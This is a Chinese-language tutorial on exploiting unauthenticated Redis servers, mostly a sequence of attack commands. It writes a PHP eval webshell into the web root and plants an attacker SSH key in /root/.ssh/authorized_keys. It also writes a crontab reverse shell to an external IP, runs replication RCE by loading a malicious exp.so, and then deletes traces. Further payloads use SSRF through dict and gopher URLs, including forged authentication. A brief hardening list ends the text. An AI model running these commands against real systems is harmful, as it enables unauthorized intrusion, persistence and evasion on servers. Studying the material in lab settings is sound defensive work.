Redis未授权
redis默认情况下会安装在6379端口,会使redis端口暴露在公网上,如果没有进行相关处理,比如设置密码,会使攻击者可以访问缪奥服务器的情况下未授权访问redis以及读取redis的数据,攻击者未授权访问redis的情况下,可以使用redis自身提供的config命令进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
漏洞信息
产生条件
1-redis端口暴露在公网,且未设置防火墙规则阻止非信任来源ip访问
2-没有设置密码认证,可以免密码远程登陆redis服务
危害
●数据泄露
●攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;
●最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器
相关概念
ssh免密登录
SSH提供两种登陆方式,一种是账号密码,另一种是利用密钥验证,后者是免密的。
所谓密钥验证,也即公钥加密,私钥解密,公钥是可以公开的,放在服务器端,你可以把同一个公钥文件放在任何你想ssh登录的服务器中,而私钥只有你自己保存。
大致过程如下:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
redis命令
set xxx "111" 设置键xxx 值为111
get xxx 获取xxx这个键的值
.keys *获取所有的键
config set dir /var/spool/cron/把我们的配置导入反弹任务
config set dbfilename root 设置导入的内容的文件名
save 保存
复现
环境搭建
攻击机 kali 192.168.111.128
靶机 ubuntu 192.168.111.139(密码123456)
靶机安装redis,并开放端口,启动服务
安装
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
tar -zxf redis-4.0.10.tar.gz
cd redis-4.0.10
make
make install
make的时候报错,是因为没有安装gcc
安装gcc需要root权限
sudo passwd root
su
sudo apt-get install build-essential
gcc --version
这个时候再去make,结果还是报错
make MALLOC=libc
修改配置文件
vim redis.conf
bind 127.0.0.1前面加上#号 # bind 127.0.0.1
protected-mode设为no
启动redis服务 ./src/redis-server redis.conf
启动redis服务
./src/redis-server redis.conf
两台机器互相ping一下确保能联通
攻击机扫描一下靶机确保开启了redis服务
这里貌似还需要开启ssh
sudo apt install openssh-server
/etc/init.d/ssh start
攻击机直接连接redis
redis-cli -h 192.168.111.139
攻击一:写入webshell
ubuntu先配置好web服务
sudo apt-get install apache2
apache2 -v
/etc/init.d/apache2 start
sudo apt install php7.2
sudo apt install php7.2-fpm
写入shell
config set dir /var/www/html
set xxx "<?php phpinfo();@eval($_POST[1]); ?>"
config set dbfilename webshell.php
save
攻击二:写入ssh公钥
这个场景主要应用在没有web应用的服务器,redis一般都是与web分离的,故这种方式我个人觉得还是很棒的,在linux系统都存在/root目录也不会被改动
首先确保靶机的ssh正常服务
ssh -p 22 mung29@192.168.111.139
首先在攻击机(kali)上生成ssh公钥
ssh-keygen –t rsa -C “My-SSH”
-C后面的值随意
将公钥写入key.txt文件
(echo -e "\n\n";cat /root/.ssh/id_rsa.pub;echo -e "\n\n")>key.txt
再把key.txt文件内容写入redis缓冲
cat ./key.txt |redis-cli -h 192.168.111.139 -x set pub
设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
redis-cli -h 192.168.111.139
config set dir /root/.ssh
当目标使用过ssh服务之后,就会产生.ssh目录了,然后进行如下操作
config set dbfilename authorized_keys
save
测试是否可以通过ssh登录目标服务器,成功登录
(kali)
ssh 192.168.111.139
攻击三:在crontab里写定时任务,反弹shell
这个点其实蛮鸡肋,因为在debian、ubuntu等环境中由于这些环境对计划任务的格式解析非常严格是没办法执行成功,但是这个比前面那个比较好,主要是在centos环境的环境下默认root是可以通过这个方法拿到反弹shell的,所以还是值得说说的。
ubuntu无法利用的原因
/etc/crontab
,脏数据解析失败/var/spool/cron/crontabs/root
,redis默认写入644非600,提示失败
Centos下的利用
攻击机开启监听
nc -lvvp 8888
连接靶机redis
redis-cli -h 192.168.111.139
set xx “\n* * * * * bash -i >& /dev/tcp/110.40.177.201/7788 0>&1\n”
config set dir /var/spool/cron/
config set dbfilename root
save
其他攻击面
Redis是C语言开发一个开源(遵循BSD)协议高性能的(key-value)键值对的内存NoSQL数据库,可以用作数据库、缓存、信息中间件(性能非常优秀,支持持久化到硬盘且高可用),由于其自身特点,可以广泛应用在数据集群,分布式队列,信息中间件等网络架构中,在内网渗透的突破中,常常扮演getshell的角色
redis为了系统的移植方便,多集群的快速部署,在3.2.0之前默认都是无密码,对外暴露6379的
1.docker run --name redis -p6379:6379 -d redis:3.0
2.redis-cli x.x.x.123
3.config get requirepass
# docker部署默认都是以redis权限执行的。
但是在3.2.0之后增加了一个保护模式,默认还是无密码,但是限制了只有本地(回环接口)才能访问。
总的来说,问题还是出在了无密码校验经常被钻空子,比如ssrf,用来权限提升等等
然后Redis自身提供了一个config的命令,用来实现备份功能,然后备份的文件名和备份的路径都可以通过
config set dbfilename
config set dir
来控制,从而可以实现任意文件写功能。
信息泄露
这个比较鸡肋,简单提提
redis 有个info的命令,返回关于 Redis 服务器的各种信息和统计数值。
config get *
也会泄露一些信息
主从复制RCE
经过测试主从复制的可利用版本是4.x-5.x,从6.0开始,就开始利用失败了,但是还是可以通过config命令来进行写文件的,也能通过主从复制来无损加载文件
(1)简单说明
这个攻击方式是LC/BC的成员Pavel Toporkov在2019年7月7日结束的WCTF2019 Final分享出来的,可以说这个技术,为redis的攻击撕开了一个全新的口子,打就是rce获取的就是redis运行的权限,比之前那些需要高权限的方法来的更加普遍和使用。
(2)通俗原理
两个点:
(1) 支持传输备份文件
(2)支持加载so链接库,拓展命令
- 第一步,我们伪装成redis数据库,然后受害者将我们的数据库设置为主节点。
- 第二步,我们设置备份文件名为so文件
- 第三步,设置传输方式为全量传输
- 第四步加载恶意so文件,实现任意命令执行
这里重点是实现全量传输:
全量传输是将数据库备份文件整个传输过去,然后从节点清空内存数据库,将备份文件加载到数据库中。
具体的实现步骤:
利用:https://github.com/Dliv3/redis-rogue-server
python3 redis-rogue-server.py --rhost 39.101.129.2 --rport 6379 --lhost vps地址 --lport 6667 --exp exp.so
根据提示输入rce的方式和反弹shell的ip port
同时开启监听端口nc -lvvp port
本地手工执行命令设置备份:
1.config set dir ./
2.config set dbfilename exp.so
3.slaveof X.X.X.195
4.slaveof X.X.X.195 21000 #上面看绑定的服务段端口是21000
5. module load ./exp.so
6.slaveof no one
7.system.exec 'whoami'
清理痕迹
8.config set dbfilename dump.rdb
9.system.exec 'rm ./exp.so'
10.module unload system
禁用config命令绕过
如果在redis.conf 配置了禁用config命令的时候。
rename-command CONFIG ""
比如这个config命令就不可用了,可以采取这种方式绕过。
这个时候我们就没办法自定义文件后缀了,但是我们还是可以利用主从复制的
可以看到同步之后exp.so的内容被保存为了dump.rdb
后面把dump.rdb当做exp.so去正常加载即可。
SSRF对redis的利用
SSRF为Redis的供给面打开了一个口子,但是由于dict和gopher协议的有一些坑点,有时候利用起来会出现一些下面的问题。
简单探测redis服务:
1.curl "dict://127.0.0.1:6381"
2.回显
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
dict与gopher协议的区别
(1)dict协议
dict协议,字典服务器协议, A Dictionary Server Protocol 。
dict是基于查询响应的TCP协议。
使用格式:
dict://serverip:port/命令:参数
这里dict有个比较好的特点就是会再末尾补上\r\n
不好的是,命令多条的话,需要一条条地去执行,因为不支持传入换行,也不会对%0d%0解码。
(2)gopher协议
互联网上使用的分布型的文件搜集获取网络协议。
支持多行输入。
使用格式:
gopher://serverip:port/_data
特点:
可以看到gopher的第一个字符被吞掉了,还有没有发送quit
所以我们需要手动加一个字符如_
无认证SSRF攻击
dict协议的攻击:
1.连接远程主服务器
curl dict://127.0.0.1:6381/slaveof:101.200.157.195:21000
2.设置保存文件名
curl dict://127.0.0.1:6381/config:set:dbfilename:exp.so
3.载入 exp.so
curl dict://127.0.0.1:6381/module:load:./exp.so
4.断开主从
curl dict://127.0.0.1:6381/slaveof:no:one
5.恢复原始文件名
curl dict://127.0.0.1:6381/config:set:dbfilename:dump.rdb
6.执行命令
curl dict://127.0.0.1:6381/system.exec:'whomai'
7.删除痕迹
curl dict://127.0.0.1:6381/system.exec:rm './exp.so
...'
成功执行命令。
要是写shell的话参照上面那样做即可。
gopher协议的攻击:
这里采取goherus.py,来实现快速利用吧。
1.git clone https://github.com/tarunkant/Gopherus.git
2.gopherus --exploit redis
redis触发反序列化
这种场景主要是redis里面存储的内容,最终会被程序反序列化,从而导致触发处反序列化漏洞。
我们平时做题目的时候一般序列化内容都被base64了,所以没遇到什么坑。但是如果是原生的序列化数据就会有协议无法传输特殊字符的坑。
不过gopher是无敌的,双重编码就行了。
案例来源: https://mp.weixin.qq.com/s/kfYF157ux_VAOymU5l5RFA
以后如果遇到有意思的题目,单独列出来这个方面研究吧,gopher协议足够秒杀了。
带认证的SSRF攻击
有认证的话,其实问题也不大。
auth 123123
docker里面用tcpdump监听协议包
tcpdump -i eth0 port 6379 -w redisPort.pcap
然后导出到本机用wireshark分析
docker cp cbdaed8:/redisPort.pcap ./redisPort.pcap
直接follow tcp stream
可以看到这个验证过程其实也是可以伪造的。
提取这段出来然后url编码就行了
import urllib.parse
str_ = "2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 36 0d 0a 31 32 33 31 32 33 0d 0a"
str__ = str_.split(' ')
okStr = ""
for i in str__:
okStr += "%" +i
print(okStr)
然后测试下:
curl "gopher://127.0.0.1:6383/_%2a%32%0d%0a%24%34%0d%0a%61%75%74%68%0d%0a%24%36%0d%0a%31%32%33%31%32%33%%0d%0a"
+OK
Redis支持管道流水线,所以可以一次性拼接命令发送,不需要回复请求。
所以我们只需要在开头拼接下这段验证就行了。
redis的防护
1.设置用户用于启动redis,不要用root权限启动
2.设置本地redis访问,不允许远程访问。
3配置文件的保护模式(默认开启)
4.修改端口
5.requirepass 设置redis密码